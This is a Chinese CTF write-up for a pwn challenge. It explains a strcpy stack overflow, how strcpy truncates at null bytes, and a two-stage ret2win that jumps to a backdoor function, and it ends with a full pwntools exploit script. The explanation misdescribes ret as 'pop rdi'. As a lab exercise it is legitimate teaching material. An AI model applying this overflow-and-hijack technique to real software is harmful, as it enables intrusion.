次元囚笼
.png)
main函数:
.png)
menu函数:
.png)
loveme函数:
.png)
abandonme函数:
.png)
leave函数:
.png)
后门函数直接给我们了,叫lastlove。
我们看代码,首先loveme函数是向buffer输入50字节,abandonme函数是向有512字节缓存区的buf输入512字节,这两个函数在最后都调用了leave函数,我们看leave函数,第一个关键点,strcpy(dest, buffer),这是把buffer的内容复制到dest,然而dest只有32字节的缓存区,这里存在栈溢出漏洞,再看strcmp(dest, "love"),strcmp函数比较两个字符串,相同返回0,不同返回非零,也就是dest内是love的话我们就能触发一个向buffer输入256字节的机会。
信息有了,我们来想思路,首先我们肯定是利用leave函数的栈溢出,那我们直接利用loveme函数输入ret地址(用来栈对齐)和lastlove函数地址,算一下32+8+8+8=52字节,所以我们这个不够,那我们要想办法触发leave函数中的256字节输入了,那我们第一阶段就是触发loveme先向buffer输入love字符串,然后触发leave函数,然后就第二次向buffer输入,这次是256字节,那我们想,如果这次我直接输入ret和lastlove函数行不行呢,不行,假设我们这样做了,我们再触发一次leave函数,有一个点strcpy函数遇到\x00会截断,我们模仿一下strcpy过程,首先,正确复制40个A,然后开始复制\x1a\x10\x40\x00\x00\x00\x00\x00(64位下ret的地址)\xb3\x12\x40\x00\x00\x00\x00\x00(lastlove地址),它复制了\x1a\x10\x40后就停了,被\x00截断了,也就是说我们只复制了ret的地址,ok,那我们现在已经完成一半了,我们需要思考怎么另外放lastlove地址,在ida中我们可以看到buffer是全局变量,而buf是abandonme的局部变量,储存在abandonme栈帧上,而dest是leave的局部变量,而abandonme最后是调用leave函数,那我们就可以调用abandonme把lastlove地址放到buf,这时会发生什么呢,我简单用一个表格帮助理解
这是栈上的情况,我们模拟一下这时的情况,leave函数执行后先mov rsp,rbp,这时rsp和rbp都指向旧rbp位置,然后pop rbp,这时rsp指向被我们被我们覆盖的返回地址,然后执行本身的ret也就是pop rdi,把我们覆盖的ret地址弹到rip(指令指针),这时rsp指向的是什么,是我们向buf输入的lastlove地址,那这时再执行ret,我们的lastlove地址就会被弹入rip执行,我们就成功getshell了
EXP:
from pwn import *
p = process('./pwn')
#p = remote('geek.ctfplus.cn',30929)
RET_GADGET_ADDR = 0x40101a
LAST_LOVE_ADDR = 0x4012b3
# 解锁 256 字节的 read()
p.sendlineafter(b'cin >> : ', b'3')
p.sendlineafter(b'give me your love \n', b'love\x00')
#放入ret地址
p.sendlineafter(b'cin >> : ', b'1')
payload_control = b'A' * 40
payload_control += p64(RET_GADGET_ADDR)
p.sendlineafter(b'yes I wait for you forever\n', payload_control)
# 放入lastlove地址
p.sendlineafter(b'cin >> : ', b'2')
payload_rop = p64(LAST_LOVE_ADDR)
p.sendafter(b"Is this necessary? That's my prayer", payload_rop)
p.interactive()题目链接: